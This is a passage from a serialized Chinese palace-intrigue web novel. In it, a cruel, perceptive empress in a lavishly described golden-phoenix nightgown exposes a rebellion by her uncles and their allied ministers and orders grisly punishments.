?墨金棉的底料在阴霾天光下,更显沉静深邃,天然的金色棉绒幽暗闪烁,神秘而高贵。 ?睡裙之上,那只铺天盖地的擎天巨凤金绣,在灰白背景下愈发显得凌厉逼人,赤金如熔铁,玫金如血珀,银白如霜刃,紫金如暗雷,凤眸宝石冰冷地洞察着一切。? 宽大柔软的喇叭袖掩在之下,袖口金线流苏隐约可见。而那长达五丈、沉重无比的棉质拖尾,则依旧毫无顾忌地、直接拖曳在她身后清扫过却依旧冰冷坚硬的宫道青石板之上!?? 华贵到极致的拖尾与肃杀严寒的环境形成剧烈对比,其上宝石与金线固执地折射着微弱却刺目的冷光,如同一道流动的、审判的墨金色界碑,宣告着皇权的绝对领域。 四名宫女与八名凤翎卫精锐紧随其后,神色肃穆,警惕地注视着四周。 行至通往西苑的必经之路——西华门附近时,慕容嫣忽然停下了脚步。 西华门今日的守卫,似乎比平日多了些许,且面孔略显陌生。 值守的将领见到御驾,立刻率众跪迎,动作标准,神色恭敬,但那低垂的眼眸深处,却似乎藏着一丝难以掩饰的紧张与闪烁。 慕容嫣慵懒地抬了抬手,示意他们起身。 凤眸漫不经心地扫过城门洞以及两侧的戍卫营房。 就在此时,一阵凛冽的寒风猛地从城门洞中穿堂而过,卷起地面些许残雪与…几片不易察觉的、深褐色的、似乎是某种油脂凝固后的碎屑。 慕容嫣的目光,骤然定格在那几片碎屑之上。 她缓缓转过身,面向那跪地的守将,?宽大喇叭袖从下探出,轻轻拂过寒冷的空气。 “今日是谁当值?”她的声音清冷,带着一丝慵懒的询问。 那守将身体几不可察地一颤,低头恭敬回道:“回陛下,是末将王振。” “王振…”慕容嫣轻轻重复了一遍,?脚步微动,似要前行。 然而,就在她看似随意地再次回身,欲吩咐些什么的瞬间—— 动作看似舒缓,实则带着一种不容置疑的威仪与迅疾! 那沉重无比的五丈棉质拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同怒涛般翻滚而起,?哗啦一声扫过冰冷粗糙的青石板地面!?? 随着裙摆的骤然飘起——赫然露出了里面以玄色云锦为底、用亮金线极致繁复地满绣着百凤朝阳与缠枝莲纹路的华丽内衬!?? 那内衬上的金凤图案在阴沉的天光下骤然闪现,金光夺目,华美辉煌,与睡裙外袍的墨金底色及这肃杀环境形成了天壤之别的对比,仿佛在灰暗天地间骤然劈开的雷霆之光,尊贵、耀眼,且带着无情的审视意味! 这惊心动魄的华丽一闪而逝,?裙摆随即落下。 但慕容嫣的目光,却并未收回。她的视线,精准地投向了方才拖尾扫过之地——那里,被裙摆拂开的积雪下,赫然露出了几点更为清晰的、深褐色的油脂污渍,甚至…还有一小截被踩扁的、用于包裹兵器的油布碎片! 空气中,似乎还残留着一丝极淡的、被寒风带来的…铁锈与皮革混合的气息。 慕容嫣脸上的慵懒瞬间褪去,化为一种极致的、冰冷的平静。她缓缓抬眸,目光如同两道实质的冰锥,刺向那名为王振的守将。 “王振?”她声音轻柔,却让周遭温度骤降,“朕记得西华门副将,应是张焕麾下的李贽。何时换成了你?” 王振额头瞬间沁出冷汗,强自镇定道:“回…回陛下,李将军身体不适,暂由末将代职…” “身体不适?”慕容嫣微微歪头,?喇叭袖下的手指轻轻蜷缩,“是突然不适,还是被你们‘不适’了?” 王振身体猛地一僵:“陛下…陛下何出此言?末将…末将不明白…” “不明白?”慕容嫣缓缓上前一步,?五丈拖尾在身后沉重地拖曳,发出令人心悸的摩擦声。 她微微俯身,?宽大喇叭袖垂落,几乎要触及王振低垂的头颅,声音压得极低,却如同毒蛇吐信,清晰传入每个人耳中: “那你告诉朕,你营房角落里那几副还没来得及藏好的弩机是怎么回事?” “你手下兵士靴底沾着的城南黑泥,又是从何而来?” “还有…”她的声音陡然锐利如刀,“你身上这股子慕容弘府里特制的‘龙涎香’的味道是何时熏上的?!” “陛下!”王振骇然抬头,脸色惨白如纸,眼中充满了难以置信的惊恐! 她怎么会知道?! 她怎么可能知道得这么清楚?! “拿下。”慕容嫣直起身,?喇叭袖轻轻一摆,声音不大,却如同惊雷炸响! 身后凤翎卫早已蓄势待发,闻令如虎狼般扑上! “昏君!纳命来!”王振心知事败,眼中闪过绝望的疯狂,竟猛地拔出腰间佩刀,嘶吼着扑向近在咫尺的慕容嫣!他身后的几名心腹士卒也同时暴起发难! 场面瞬间大乱! 然而,慕容嫣却站在原地,纹丝不动。 她甚至连眼皮都未曾抬一下,只是微微蹙眉,仿佛嫌恶那刀锋的寒光刺眼。 一道黑影如同鬼魅般自她身后闪出! 剑光如匹练般掠过! “噗嗤——!” 血光迸现! 王振的头颅冲天而起,脸上还凝固着惊骇与不甘的表情! 无头尸身重重倒地! 另外几名叛军也被瞬间格杀!血腥味骤然弥漫在寒冷的空气中! 整个过程,发生在电光火石之间! 慕容嫣微微后退半步,?优雅地提起那沉重的五丈拖尾,避免飞溅的鲜血沾染其上。 她低头看了看地面,一丝殷红的血迹恰好溅落在那墨金色的棉质拖尾边缘,如同雪地上绽开的一朵妖异红梅。 她眉头蹙得更紧,眼中闪过一丝真实的懊恼与嫌恶:“脏了…” 仿佛这比眼前的血腥厮杀和刚刚揭露的叛乱阴谋更重要。 剩余的守军早已吓傻,纷纷丢下兵器,跪地求饶。 慕容嫣缓缓抬眸,目光冰冷地扫过狼藉的现场和跪满一地的士卒,最后落在那具无头尸体上。 “清理干净。”她淡淡吩咐,语气如同吩咐扫去一片落叶,“查。西华门所有守军,自上而下,彻查。所有与逆党有牵连者一律按谋逆论处,就地正法,悬首城门。” “是!”凤翎卫首领凛然遵命。 慕容嫣转身,?迤逦着那沾了一抹血迹的五丈拖尾,准备离开。 走了两步,她忽然又停下,并未回头,声音清冷地传来: “告诉慕容弘和慕容璋…” 她的声音顿了顿,带着一丝玩味的残忍笑意: “派这种废物来是瞧不起朕,还是瞧不起朕这身衣裳?” “想玩就亲自来。” “朕等着给他们换一身更鲜亮的颜色。” 说完,她迈步离去,?沉重的拖尾在染血的青石板上拖曳出一道华贵而血腥的痕迹。 回到寝宫,慕容嫣立刻命人准备香汤沐浴。她小心翼翼地褪下那件华贵的睡裙,尤其关注那拖尾边缘沾染的血迹。 她亲自坐在浴池边,?用戴着丝绒指套的手,蘸取特制的香露,极其小心地、一点点搓洗那一点血迹,神情专注而心疼,仿佛在修复一件绝世珍宝。 林臻闻讯匆匆赶来,脸色凝重至极,眼中充满了后怕与杀意。他看到慕容嫣正在亲手清洗睡裙,快步上前。 慕容嫣抬起头,看到他,脸上露出一丝委屈与薄怒,?伸出湿漉漉的手(指套已取下)指向那处淡化的血渍?:“夫君…你看…被他们的脏血弄脏了…” 林臻心中一痛,握住她的手:“无妨,定能洗净。嫣儿受惊了。” “他们想杀我…”慕容嫣小声抱怨,眼神却冰冷如霜,“还想弄坏我的衣服…” 林臻眼中杀机爆闪:“嫣儿放心!西华门之事,我已知晓!逆党竟敢渗透至此!我定将他们连根拔起!” 慕容嫣却摇了摇头,?重新将注意力放回清洗拖尾上,声音变得慵懒而残忍:“不急…拔得太快…就不好玩了…” 她轻轻抚摸着锦缎上那巨凤的金线羽翼,嘴角勾起那抹熟悉的、妖异而暴虐的弧度: “年关不是快到了吗?” “总得留些节目助助兴。” 她抬起头,看向林臻,眼神清澈却骇人: “你说是用慕容弘的皮来做鼓好,还是用慕容璋的骨来簪花好?” 林臻看着她眼中那毫不掩饰的、对于血腥盛宴的期待,心中巨震,却只能更紧地握住她微凉的手,沉声道:“…嫣儿喜欢,便好。” 慕容嫣满意地笑了,低下头,继续专注地清洗着她的华服,仿佛那才是天下最重要的事情。 窗外,北风呜咽,卷着血腥气,雪似乎又要下了。 ?棉凤临门裂甲胄,笑谈血染惊逆谋。金丝漫卷待佳节,尽收叛骨缀华袍。? 第896章 朕的内库里是不是少了几个金元宝? 腊月深寒,京城的天空总是灰蒙蒙的,铅云低垂,压得人喘不过气。 年关的喜庆尚未到来,一种山雨欲来的压抑感已笼罩全城。市井流言愈发汹涌,皆言女帝暴虐,奢靡无度,宠信奸佞,以致天怒人怨。 而两位“冤死”的亲王,则在民间悄然被塑造成悲情英雄,期待着他们能“拨乱反正”。 靖北王慕容弘与安平王慕容璋的反叛筹备,已从串联朝臣、渗透宫防,进入了更为实质的阶段——筹措巨额军饷,秘密整顿私军! 慕容弘凭借其昔日执掌户部的旧势与暗中威逼,通过几条秘密控制的漕运线路,大肆走私盐铁、丝绸,甚至与海外番邦暗中交易,牟取暴利! 无数金银如同暗河般流入其在京畿之外秘密设立的几处山庄。 慕容璋则利用其过往在军中的影响力,以“剿匪”、“筑寨”为名,暗中将一批批精良军械、铠甲、粮草,从各地卫所调出,转运至秘密据点。 更以重金收买边军悍卒、江湖亡命,组建起一支规模可观、战力不俗的私军死士! 他们的触角,甚至伸向了皇家内库!通过买通几名掌管库藏钥匙的低级官吏,竟数次盗取库中金锭、珠宝,熔铸后作为军资! 阴谋的齿轮,在黑暗中疯狂转动,已发出危险的轰鸣。 深宫之中,暖阁地龙烧得极旺,温暖如春,与窗外的肃杀严寒恍若两个世界。慕容嫣身穿着那件华贵轻盈、触感冰凉丝滑的黑金苏锦棉质百鸟朝凤睡裙,正慵懒地倚在一张铺着厚厚墨狐皮的软榻上。 ?睡裙采用最顶级的玄黑苏锦为底,织入天然金色棉绒与细若毫芒的纯金线,使得面料在宫灯柔和光线下,呈现出一种内敛的玄黑底色与流动的暗金微芒,神秘高贵,轻盈若无物。? 其上,那只铺满全身乃至拖尾的擎天巨凤,?仅以不同捻法、粗细、光泽的赤金线,以绝世“盘金凸纹缀羽绣”工艺绣成,凤羽层叠,栩栩如生,或灼灼如熔金流淌,或深邃如暗夜星辰,仅凭金色的变幻便展现出磅礴气势与极致尊贵。 凤眸以两枚巨大的、完美切割的黑钻镶嵌,幽冷洞彻。? 宽大轻盈的喇叭袖袖口以同色苏锦层层叠叠缝制出凤羽形状,边缘滚以细密的赤金珠串流苏,华丽飘逸。 而那长达五丈、与睡裙连为一体的苏锦拖尾,更是华美绝伦,其上以更细密的金线绣出百鸟朝凤辅纹,并密集镶嵌无数黑钻、墨玉、乌金,虽视觉上沉重奢华无比,但因苏锦极致轻薄,实际重量远轻于视觉,但慕容嫣依旧喜欢让它自然地、迤逦地直接拖曳在暖阁光洁如镜的金砖地面之上,享受着其铺陈带来的无上威仪。 她如云青丝并未绾起,披散在肩头,流淌在墨金睡裙的华美图案与墨狐皮草之上。 她手中把玩着一支通透的墨玉长簪,目光却并未聚焦,而是落在窗外一株被积雪压弯的红梅上,眼神带着惯有的慵懒与一丝空茫。 四名宫女垂首侍立角落,屏息凝神。 殿外传来极轻微的脚步声,林臻走了进来。他面色沉静,眉宇间却带着一丝不易察觉的疲惫与凝重。他挥手屏退了宫女。 他走到榻边,极其自然地坐下,伸手为她理了理颊边的一缕发丝,指尖温暖:“嫣儿可觉无聊?可要传乐师来奏些曲子?” 慕容嫣缓缓转过头,目光落在他微蹙的眉心上,?喇叭袖下的手轻轻抬起,指尖极轻地点了点那里:“夫君心烦?” 林臻微微一怔,随即笑了笑,握住她的手:“无事,些须琐事罢了。” 慕容嫣却静静地看着他,眼神清澈,却仿佛能洞穿一切:“是国库又没钱了?还是又有人偷朕的东西了?” 林臻心中猛地一凛! 他确实刚接到密报,内库似乎有失窃之嫌,且数额不小,正在暗中核查,尚未禀报于她! 她…她如何得知?! 他强作镇定,柔声道:“嫣儿何出此言?宫中一切安好。” 慕容嫣微微歪头,?宽大喇叭袖拂过他的手臂,声音软糯却带着一丝冰冷的了然:“朕闻到了铜臭和背叛的味道,越来越浓了…” 她缓缓坐直身子,?苏锦睡裙随着她的动作发出极其细微的摩挲声,那五丈长的拖尾也微微滑动。她目光投向殿门方向,仿佛能穿透宫墙,看到远方。 “是慕容弘在偷偷卖朕的盐和铁对吧?”她轻声问,语气平淡得像在问今日的点心。 林臻瞳孔骤缩! “是慕容璋在偷偷调朕的兵和甲对吧?”她继续问,?喇叭袖下的手指无意识地缠绕着一缕金线流苏。 林臻呼吸一窒! “还有…”她缓缓转回头,看向林臻,眼神冰冷彻骨,“朕的内库里是不是少了几个金元宝?嗯?” 林臻彻底僵住,难以置信地看着她!这些消息,是他动用了庞大暗网才刚刚查到的蛛丝马迹! 她深居宫中,身着睡裙,是如何…如何如同亲见?! 慕容嫣看着他震惊的表情,忽然莞尔一笑,笑容妖异而美丽,带着一种孩童般的天真与残忍:“他们的钱赚得开心吗?兵练得厉害吗?偷来的金子用得顺手吗?” 她缓缓站起身,?五丈苏锦拖尾随之轻盈却威仪十足地拖曳于地。 她踱步到窗前,看着窗外纷飞的雪花,?喇叭袖下的手轻轻按在冰冷的琉璃窗上。 “朕记得去年江南进贡的那批赤金珠粉,色泽最好…”她仿佛在自言自语,“用来画朕的凤眸最是好看…” 她忽然回身?! 动作迅疾而优雅! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同流云般飘荡而起,?唰啦一声拂过光滑的地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更亮泽的赤金线极致繁复地满绣着百凤朝阳与缠枝莲纹路的华丽内衬!?? 那内衬上的金凤图案在宫灯照耀下骤然闪现,金光璀璨,华美辉煌,与睡裙外袍的墨金底色形成了惊心动魄的对比,尊贵、耀眼,且带着无情的洞察! 裙摆落下,华光内敛。 慕容嫣的目光已变得冰冷而锐利,她看向林臻,声音清晰而平静,却带着不容置疑的威压:“去查。漕运司,盐铁司,军械库,内库…所有经手的人一个不漏。” 她微微抬起下巴,?喇叭袖轻轻一摆:“把他们的手都给朕剁下来。用他们贪墨的金子熔了打成镣铐。” “把他们偷运的兵器熔了,打成犁铧。” “把他们私藏的粮草烧了,灰烬撒进他们的祖坟。” 她的语气轻描淡写,仿佛在吩咐今晚的菜单:“至于那两个以为朕不知道他们还在喘气的皇叔…” 她嘴角勾起一抹极致残忍而愉悦的弧度?: “告诉他们,朕很喜欢他们替朕攒的军饷,练的兵。” “年关的时候朕会亲自去取。” “用他们的头骨来做酒器。” “用他们的血来染朕的新衣。” 说完,她不再看林臻,?迤逦着那华美的五丈拖尾,缓缓走回软榻,慵懒地靠了回去,重新拿起那支墨玉长簪把玩,仿佛刚才那番冷酷血腥的命令从未发出。 林臻站在原地,心中翻江倒海,既为她的敏锐与冷酷感到震惊,也为那即将到来的腥风血雨感到心悸。他深深吸了一口气,眼中闪过一丝决绝的寒光,躬身沉声道:“…臣,遵旨。” 他转身大步离去,脚步沉稳却带着肃杀之气。 慕容嫣看着他离去的背影,?嘴角那抹残忍的弧度缓缓扩大。 她轻轻抚摸着睡裙上那巨凤冰冷的黑钻眼眸,低声自语,声音带着一丝兴奋的颤栗: “游戏越来越有趣了,可千万别让朕失望啊…” 窗外,雪越下越大,将一切污秽与阴谋暂时覆盖,却掩不住其下汹涌的血色暗流。 第897章 腊月二十 腊月二十,年关的钟声仿佛已在耳畔敲响,京城却陷入一种令人窒息的死寂。 连日的大雪覆盖了街道屋瓦,却掩不住那从缝隙中透出的、冰冷刺骨的恐慌与躁动。 市井流言已不再是窃窃私语,而是近乎公开的怨愤与期盼——怨愤女帝慕容嫣的奢靡残暴,期盼两位“冤死”的亲王能早日“清君侧,正乾坤”! 靖北王慕容弘与安平王慕容璋的反叛巨网,已然织就最后几根丝线。 巨额军饷已通过走私、贪墨、甚至盗掘皇陵陪葬品(一则极其恶毒的谣言)等手段筹措完毕! 秘密整编的私军已化整为零,分批潜入京畿地带,藏匿于多处庄园、山林甚至废弃的矿洞之中,装备精良,士气癫狂,只待一声令下! 更致命的是,他们通过威逼利诱,竟成功煽动了京畿三大营中“神枢营”的部分中下层军官! 这些军官对林臻推行的新军制不满,对慕容嫣的“昏聩”深感失望,极易被“复辟旧制、重振慕容”的口号所蛊惑! 叛乱的刀锋,已然磨利,抵近了皇城的咽喉。 然而,深宫之中,暖阁香浓,地龙的热气驱散了所有寒意。 慕容嫣身穿着那件华美绝伦、轻盈如梦的黑金苏锦棉质百鸟朝凤睡裙,正慵懒地侧卧在窗边的贵妃榻上,?长达五丈的苏锦拖尾如同一条墨金色的河流,?自然地、迤逦地铺满了榻前大片光洁如镜的金砖地面,其上镶嵌的宝石在宫灯柔和的光线下,折射出静谧而璀璨的星芒。 这身睡裙堪称巧夺天工。 ?极致玄黑的苏锦底料,以绝世工艺织入天然的金色棉绒与细若游丝的真金线,使得面料本身便呈现出一种深不见底的墨色中流淌着暗金波光的神秘质感,触手冰凉丝滑,轻盈若无物,却华贵天成。 ?睡裙之上,那只覆盖了几乎整个袍身乃至拖尾的擎天巨凤,?仅以不同捻法、粗细、光泽的赤金线,采用失传的“盘金凸纹蹙绒”与“缀羽绣”工艺绣成! 凤羽层层叠叠,栩栩如生,或如熔化的赤金般灼热流淌,或如沉淀的暗金般深邃厚重,或如流动的金沙般闪烁不定,仅凭金色的无穷变幻,便勾勒出巨凤振翅欲飞、尊贵威严、俯瞰众生的磅礴气势! 凤眸以两枚巨大的、完美切割的黑钻镶嵌,幽冷洞彻,仿佛能窥破人心一切阴暗。? 宽大轻盈的喇叭袖采用层叠设计,袖口以同色玄黑苏锦为底,用细如发丝的赤金线绣出繁复的云雷凤羽纹,边缘滚以细密的、以赤金珠与极小黑珍珠交替串成的流苏,行动间流光溢彩,华丽非凡,却轻盈飘逸。 整件睡裙因其顶级的苏锦工艺与棉质的亲肤,?虽视觉上华丽厚重无比,实际却异常轻软舒适,但慕容嫣依旧喜欢让那五丈长的拖尾肆意地拖曳于地,享受着其铺陈带来的无上威仪与归属感。 她如云青丝未绾,披散在墨金睡裙的华美图案与雪白的貂绒软垫上。 手中并未拿什么,只是用戴着同色墨丝绒指套的纤长手指,有一下没一下地轻抚着睡裙拖尾边缘一颗鸽卵大小的乌金镶嵌,眼神放空,望着窗外庭院中几株被积雪压弯的红梅,仿佛沉浸在一个与世隔绝的、只有她和这身华服的静谧世界里。 四名宫女垂首侍立角落,如同泥雕木塑。 殿外传来极轻微却急促的脚步声,林臻走了进来。他面色沉静,但眉宇间凝聚的沉重与眼底深处的杀机,却如何也掩饰不住。 他刚刚接到密报,神枢营异动! 有军官暗中串联,图谋不轨! 且与两位亲王的势力勾连甚深! 他挥手屏退了宫女。 他走到榻边,并未立刻说话,只是深深地看着榻上慵懒的人儿,眼神复杂,充满了无尽的担忧与一种近乎虔诚的守护欲。 慕容嫣似乎并未察觉他的凝重,?缓缓转过头,目光落在他微抿的唇角,?喇叭袖下的手轻轻抬起,指尖隔空点了点:“夫君…皱眉了…不好看…” 她的声音软糯,带着刚睡醒般的慵懒沙哑。 林臻心中一痛,努力挤出一丝微笑,上前握住她微凉的手:“无事,只是些琐事烦心。嫣儿可要用些燕窝?” 慕容嫣却轻轻抽回手,?目光再次投向窗外,鼻翼几不可察地微微翕动了一下,仿佛在空气中嗅到了什么。 她轻轻蹙起秀眉,?宽大喇叭袖下的手无意识地攥紧了睡裙柔软的面料。 “有味道…”她轻声呢喃,如同梦呓,“铁锈,汗臭,还有劣质的野心,熏到朕了…” 林臻背脊瞬间窜起一股寒意! 神枢营之事,他尚未禀报! 她…她竟能… 慕容嫣缓缓坐起身,?苏锦睡裙随着她的动作发出极其细微的摩挲声,那五丈长的拖尾也随之滑动。 她目光飘忽地扫过殿门方向,眼神依旧慵懒,却多了一丝冰冷的锐光。 “是神枢营那些吃不饱饭的野狗又开始摇尾巴了,对吧?”她轻声问,语气平淡得像在询问今日的天气。 林臻瞳孔骤缩,猛地抬头看她! 慕容嫣却仿佛并不需要他的回答,?微微侧首,?喇叭袖掩唇,似在思考:“是慕容弘许了他们高官厚禄?还是慕容璋答应让他们恢复祖制?” 她的每一句话,都如同冰锥,精准地刺入林臻刚刚获悉的密报核心! 她缓缓站起身,?五丈苏锦拖尾随之轻盈却威仪十足地拖曳于地。她踱步到香炉边,?喇叭袖下的手轻轻拨弄了一下炉中升起的袅袅青烟,声音带着一丝厌烦:“这香…压不住那股臭味…” 她忽然回身?! 动作优雅却带着一种不容置疑的迅疾! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同流云惊鸿般飘荡而起,?唰啦一声拂过光滑如镜的金砖地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更亮泽、更饱满的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在宫灯照耀下骤然闪现,金光璀璨夺目,华美辉煌到了极致,与睡裙外袍的墨金底色形成了惊心动魄的对比,尊贵、耀眼,仿佛在静谧的宫殿中骤然爆开的烈日金光,带着无情的洞察与绝对的威压! 裙摆落下,华光内敛。 但慕容嫣的目光已彻底冰冷,她看向林臻,声音清晰而平静,却带着碾碎一切的威压:“去查。神枢营所有参将、游击、千总…三日内,给朕一份名单。谁的心歪了,手脚不干净了…” 她微微抬起下巴,?喇叭袖轻轻一摆,语气轻描淡写,却令人毛骨悚然:“把他们的心挖出来…喂狗。手脚剁下来送去给他们的旧主当贺礼。” “把他们贪墨的军饷熔了,铸成跪像摆在他们的营门口。” “把他们串联的书信烧了,灰烬塞进他们的嘴里。” 她的语气仿佛在谈论如何装饰庭院:“至于那两个躲在阴沟里啃噬江山的皇叔…” 她嘴角勾起一抹极致残忍而愉悦的弧度,眼中闪烁着兴奋的血色: “告诉他们朕很欣赏他们替朕练的兵。” “年关祭祖时朕会亲自去校阅。” “用他们的脊梁来做鼓槌。” “用他们的皮来裱朕的战旗。” 说完,她不再看林臻,?迤逦着那华美的五丈拖尾,缓缓走回软榻,慵懒地靠了回去,重新拿起那支墨玉长簪把玩,仿佛刚才那番冷酷血腥、决定无数人生死的命令从未发出。 林臻站在原地,心中巨浪滔天,既为她那近乎妖异的洞察力与冷酷感到震惊,也为那即将到来的、必然血流成河的清洗感到心悸。 他深深吸了一口气,将所有的担忧与恐惧压下,眼中只剩下绝对的服从与凛冽的杀意,躬身沉声道:“…臣,遵旨。” 他转身大步离去,脚步沉稳却带着踏碎一切的决绝。 慕容嫣看着他离去的背影,?嘴角那抹残忍的弧度缓缓扩大,最终变成一个妖异而美丽的笑容。 她轻轻抚摸着睡裙上那巨凤冰冷的黑钻眼眸,低声自语,声音带着一丝颤栗的期待: “狗要咬主人了。” “正好,朕的新衣还缺几条金色的滚边。” 窗外,风雪更急,仿佛要将整个京城彻底埋葬。 第898章 这难道就是你们口中的以正朝纲? 腊月二十三,小年。 按祖制,今日举行大朝会,群臣贺岁,共商祭天事宜。 然而,今年的金銮殿却笼罩在一股前所未有的、令人窒息的肃杀气氛之中。 殿外寒风凛冽,殿内虽地龙烧得极暖,烛火通明,却驱不散那弥漫在空气中、冰冷刺骨的紧张与敌意。 靖北王慕容弘与安平王慕容璋,终于认为时机成熟! 他们暗中串联的朝臣已逾百人,掌控的军事力量已足以瞬间瘫痪京城防务,煽动的民意怨气也已沸腾至顶点! 今日,他们便要在这大朝会上,以“清君侧、正朝纲、废暴君”为名,发动雷霆一击,逼宫夺位! 辰时正,钟鼓齐鸣,百官依序入殿。与往日垂首恭顺不同,今日许多大臣眼神闪烁,交换着隐秘的目光,嘴角带着一丝压抑不住的兴奋与决绝。 队列之中,赫然以几位德高望重的老亲王和一部尚书为首,形成了隐隐与御座对抗之势。 龙椅之上,空无一人。群臣窃窃私语,不安与期待交织。 片刻后,内侍监高唱:“陛下驾到——!” 所有目光瞬间聚焦于丹陛之上! 只见慕容嫣身穿着那件华美绝伦、轻盈如梦、却在此刻显得无比威严的黑金苏锦棉质百鸟朝凤睡裙,缓步自屏风后走出,?迤逦行至龙椅之前。 她并未端坐,而是身姿挺拔地立于龙椅之前,那长达五丈的苏锦拖尾,?自然而沉重地直接拖曳在九级玉阶之上,铺陈而下,如同一条墨金色的瀑布,又似一道不可逾越的华丽屏障,隔绝了臣子与皇权!?? ?殿内所有烛火仿佛都聚焦于她一身! 极致玄黑的苏锦底料吸吮着光线,却又自内里折射出流动的暗金波光,神秘而高贵。 ?睡裙之上,那只覆盖全身、铺满拖尾的擎天巨凤,?仅以赤金线绣成,却在烛光下呈现出熔金般的灼热、深渊般的厚重、流沙般的闪烁,凤羽层叠,振翅欲飞,尊贵威严,气势磅礴到了极致! 凤眸上的黑钻冰冷洞彻,俯视着殿内众生。 ?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动,却华光内蕴。整件睡裙因苏锦工艺而异常轻软,但此刻穿在她身上,却仿佛重逾千钧,带着碾压一切的威仪! 她容颜绝世,神情却冰冷如霜,目光平静地扫过丹陛之下黑压压的群臣,眼神深处没有丝毫慵懒,只有一种洞悉一切的、令人胆寒的锐利。 “今日小年,”她开口,声音清冷,不大,却清晰地传入每个人耳中,带着一丝不易察觉的嘲讽,“众卿…可有本奏?” 殿内一片死寂。许多大臣低下了头,不敢与那目光对视。 突然,一位年过古稀的老亲王,手持玉笏,大步出列,跪倒在地,声音洪亮却带着颤抖: “陛下!老臣礼亲王慕容恪,冒死谏言!” 来了!所有人心头一紧! 慕容嫣目光落在他身上,?嘴角勾起一丝极淡的弧度?:“王叔请讲。” 礼亲王深吸一口气,仿佛用尽了毕生勇气,猛地抬头,痛心疾首道: “陛下登基以来,宠信外姓(指林臻),疏远宗亲;推行暴政,苛待臣工;奢靡无度,尤以…尤以身着此等不合礼制之睡裙临朝,视朝堂如寝宫,视祖宗法度为无物!更兼…更兼残暴嗜杀,屠戮忠良,以致天怒人怨,国本动摇!如今北地初定,然民心惶惶,朝野鼎沸!此皆因陛下失德所致!” 他顿了顿,声音更加激昂:“老臣恳请陛下,即刻废黜摄政王林臻,还政于宗室!脱下此妖异之服,下罪己诏,以安天下!否则恐国祚倾危,江山易主啊陛下!” 此言一出,如同巨石投入死水! 立刻有数十名大臣齐齐出列跪倒,高声附和: “臣等附议!恳请陛下还政宗室,下罪己诏!” “恳请陛下废黜奸佞,诛杀林臻!” “恳请陛下永弃此奢靡昏聩之服,勤政爱民!” 声浪一波高过一波,充满了“悲愤”与“忠直”,仿佛慕容嫣已是十恶不赦的亡国之君! 林臻立于丹陛之下,百官之首,面色沉静如水,眼神却冰冷如刀,袖中双拳紧握,但他牢记,此刻不能开口。 面对这汹涌的逼宫浪潮,慕容嫣却笑了。那笑容极美,却冰冷刺骨,带着无尽的嘲讽与残忍。 她缓缓上前一步,?五丈苏锦拖尾在玉阶上发出细微却清晰的摩擦声。 “说完了?”她轻声问,目光扫过跪倒的众人,如同看一群滑稽的戏子。 群臣一怔,被她这平静的反应弄得有些不知所措。 慕容嫣微微俯身,?宽大喇叭袖垂落,几乎要触及礼亲王的头顶,声音轻柔如羽,却字字如刀: “王叔,你说朕奢靡无度?身着睡裙临朝?” 她直起身,?喇叭袖轻轻一拂,指向自己身上的华服?:“这身衣裳所用的每一根金线,皆出自内帑,未耗国库一分一毫!所镶嵌的每一颗宝石,皆是番邦贡品,或是朕的私库所出!朕便是用金玉铺满这金殿,又与尔等何干?!” 她的声音陡然拔高,锐利如剑:“倒是你们!一个个冠冕堂皇,口称忠君爱国!礼亲王!你去年强占民田三千顷,逼死农户数十人,所得钱财,可曾分润国库一分?!” “张尚书!你暗中将漕粮倒卖与番邦,中饱私囊,致使东南粮价飞涨,百姓怨声载道,这可也是忠君爱国?!” “李侍郎!你勾结慕容弘,私运军械,意图谋反,这难道就是你们口中的‘正朝纲’?!” 她每点一人,便说出一桩其隐秘罪行,证据确凿,语气冰冷! 被点到名字的大臣无不面色惨白,浑身颤抖,如遭雷击!她怎么会知道?! 她怎么可能知道得这么清楚?! 慕容嫣猛地回身?! 动作迅疾而优雅,带着滔天怒火! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同愤怒的凤凰之翼,轰然展开,?唰啦一声扫过冰冷的玉阶!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在殿内无数烛火的照耀下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛一轮烈日在这金殿之上骤然爆发! 那光芒如此耀眼,如此尊贵,带着无情的审判意味,瞬间刺痛了所有叛逆者的眼睛,也照见了他们内心的肮脏与恐惧! 裙摆落下,华光内敛。 但慕容嫣的怒火已彻底点燃! 她立于龙椅之前,五丈拖尾迤逦于地,如同战神临凡,凤眸含威,声音如同九天玄冰,砸向整个大殿: “你们一个个!贪赃枉法!结党营私!鱼肉百姓!如今更敢勾结逆贼,图谋造反!竟还有脸在此大放厥词,指责朕的衣裳?!指责朕的夫君?!” 她宽大喇叭袖猛地一甩,指向殿外:“你们不是要清君侧吗?不是要朕废了林臻吗?好!朕告诉你们!” 她的声音陡然变得无比残忍与暴虐:“林臻!是朕的夫君!是朕选定的人!谁动他,便是动朕!你们不是嫌朕这身衣裳碍眼吗?朕告诉你们!朕便是一年四季!一日十二时辰!都穿着它!便是死了!也要穿着它入葬!尔等蝼蚁,能奈朕何?!” 她目光如电,扫过那些跪地颤抖的官员?:“你们不是要朕下罪己诏吗?朕看该下罪己诏的是你们!来人!” 殿外早已候命的凤翎卫轰然应诺!甲胄铿锵! “将礼亲王、张尚书、李侍郎及所有方才附议之逆臣!统统给朕拿下!” “陛下!陛下饶命!” “昏君!暴君!你不得好死!” “靖北王!安平王!会为我们报仇的!” 哭嚎声、咒骂声、挣扎声响彻大殿!凤翎卫如虎入羊群,毫不留情地将那些官员拖拽而出! 慕容嫣冷冷地看着这一切,?嘴角那抹残忍的弧度始终未消。 待到哭嚎声远去,大殿内剩下的大臣早已吓瘫在地,磕头如捣蒜,连呼“陛下息怒!陛下英明!” 